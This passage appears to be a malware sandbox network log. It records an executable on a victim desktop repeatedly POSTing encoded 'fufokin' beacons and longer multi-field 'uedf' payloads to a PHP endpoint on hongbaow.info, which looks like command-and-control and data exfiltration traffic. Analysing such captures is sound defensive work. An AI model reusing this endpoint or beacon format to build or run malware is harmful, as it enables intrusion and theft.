2025-01-22 07:36:39 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:40 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N6C7PZQJSKbRAg%2BUje3AsT2TlZ49ldfM4XJkiRyURUyNiPLCTjuvxTJzg1OcLfkLcnR2Yt%2FTLh3bPsSiC3xkklWOtaZPLfcvM38l7rjhRf7CPi8sNupyF6tNke6WChV8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfd1cbe34414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1541&min_rtt=1536&rtt_var=586&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1850443&cwnd=180&unsent_bytes=0&cid=afd2312b46f2907b&ts=341&x=0"
2025-01-22 07:36:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50064	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:40 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:40 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:41 UTC	803	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mL9qJo7cSE6sxYz9ZMmPbD5ETAVYN7Yavod9fWVqjIv3idFwIIlqy67BMvaQTjS9WVL0RrQdbMtM9KtROQgGNjAUgzprNgTzcuThdg9yqQ4DM5d2MsDkzqDaQk%2Bvc69F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfd7ae5c7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1786&rtt_var=682&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1589548&cwnd=218&unsent_bytes=0&cid=cfd7407f0f695541&ts=331&x=0"
2025-01-22 07:36:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50065	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:41 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:41 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:42 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jKCwYkuakEqv9wo5oj0FvbdskBPuf%2Bt2xs1cCfqzQsyx9HrFNrQl6WawgxK7ABblGzWelxvtq5tE%2FmXBcvh%2Bl5DdIVdVFOfqPd2maw0QY3JQXGwwaXfaQ6tb09QA6EFP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfdd69084414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1603&rtt_var=621&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1733966&cwnd=180&unsent_bytes=0&cid=e32e12bae101f61b&ts=316&x=0"
2025-01-22 07:36:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50066	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:41 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:41 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:42 UTC	812	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0dDd%2FQBZ2AcKrIimYY4OIm7T4vHaQJ%2F79fyYP4NWlKRXEHdrhXAoNDXAqBgsi2RwQf2HVVqMW%2B%2BwZ8aJGfNgfxWuvim5VGXJkLI9CeXKvjq%2BusV1h5lQHHmOrAk92nAV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfde19a7c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1455&rtt_var=561&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1922317&cwnd=155&unsent_bytes=0&cid=c3a88df38eb64a29&ts=342&x=0"
2025-01-22 07:36:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50067	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:42 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:42 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:43 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RMLwTTWOTLlzVDYKWDk4JGPvfR1rMo%2BAbrdJnp8V0WZ59zKMAH9Pfhtsz6XinN0o0dA8Gc2R%2BnbcokM1pugqYbV9OYaqS2Crem3iKQ6jhSsUL%2F61MeI3q7iJ0%2Ba7KvxT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfe36daa8ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1866&min_rtt=1858&rtt_var=713&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1516095&cwnd=237&unsent_bytes=0&cid=48eead1636a779e2&ts=321&x=0"
2025-01-22 07:36:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50068	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:43 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:43 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:43 UTC	803	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Edd2MZzR94n8n2gNbWOO1Yebe60b0p5FJLzRVxxmJPxKjjiudiE9RbeAuT2EgvklLxa3v8PW2wsRSixA2mafqaD0qVrngVfd97dQswO%2Fl3K6SZnZwss3yVd0xDFlqaul"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfe8fddd4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1999&min_rtt=1638&rtt_var=872&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1782661&cwnd=180&unsent_bytes=0&cid=9fd93a238a654dfe&ts=317&x=0"
2025-01-22 07:36:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50069	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:44 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:44 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:44 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cqSzg%2FNmJWBjT9p887OKqnjfeAuWrYOFP%2BXKKeaQ%2BFHHvKmyF%2Bdlkv2TVqI2Agc7Z4x08guvmRDofzvDSKTro07w8Z9CfxieyJLU1iS6goQrGRTfd9VzJu9gjljLFt6v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfee6bc4de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1436&min_rtt=1431&rtt_var=547&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1979661&cwnd=246&unsent_bytes=0&cid=5c14ebc420e75463&ts=328&x=0"
2025-01-22 07:36:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50070	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:45 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:45 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:45 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LcPKZEfcVJBxi9C7dXLcZIS75mJtQ0Tai48KTFH05%2F%2FAg%2FIvbPMSvpMWAKWllUr3D%2F1tPM37XZv52lYtawPlZVkHnOqtZ4PTGYCGZNzzmzTOznIDSv9ftPOnnFsC%2F7%2Bm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddff3e8c4de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1433&min_rtt=1429&rtt_var=545&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1993174&cwnd=246&unsent_bytes=0&cid=33850624ffb2279d&ts=314&x=0"
2025-01-22 07:36:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50071	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:46 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:46 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:46 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lEBirO2W3bO%2FTzN9fikZ2GDcLWPyst%2Fqi1xSwhpcu%2Bo08PPyBlEJjsSLOg0btOsxVUrVTu%2BUCYlBzwm93aOmcyIxMNkPOxNzHlDg%2BCpgWABq%2BuH7PPl9j1W1I49A3rXS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddff95cd48ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1785&rtt_var=677&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1607044&cwnd=237&unsent_bytes=0&cid=4e1808fd777f0900&ts=328&x=0"
2025-01-22 07:36:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50072	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:47 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:47 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:47 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g2QAHRrU3n4t3L8kNH39uO5HvSW4WLmJ39O2eQEKgjkDpk%2F7L2tZE3RO70Jzft3UnEXr715Gmb5RM42S0ZS8g63SCyRWREaCjrBmmcrTiWXZ4gdU16znHpCbIw7Y4%2FyL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddffedba342eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1557&min_rtt=1550&rtt_var=596&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1812538&cwnd=215&unsent_bytes=0&cid=5428f913de249fef&ts=319&x=0"
2025-01-22 07:36:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50073	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:47 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:47 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:48 UTC	816	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jNJ%2B8F0ojXCIuTcRwgJ9KMojHn%2BM4%2FGz17s2j6Lp90kVx1AKe%2BCfVEZkAf8mdCwwtV9MATIBMpo%2FaItPRYUW%2F8W4bku6veozxEBCDrtJ206QmmCMQbVVLTjXao3%2BiMz2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0028ccfc358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1468&rtt_var=562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1170&delivery_rate=1926121&cwnd=155&unsent_bytes=0&cid=a1ecf2c21714c14d&ts=343&x=0"
2025-01-22 07:36:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50074	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:47 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:47 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:48 UTC	275	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cloudflare X-Powered-By: PHP/7.4.33 Cf-Cache-Status: DYNAMIC CF-RAY: 905de0042db342eb-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 07:36:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50075	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:48 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
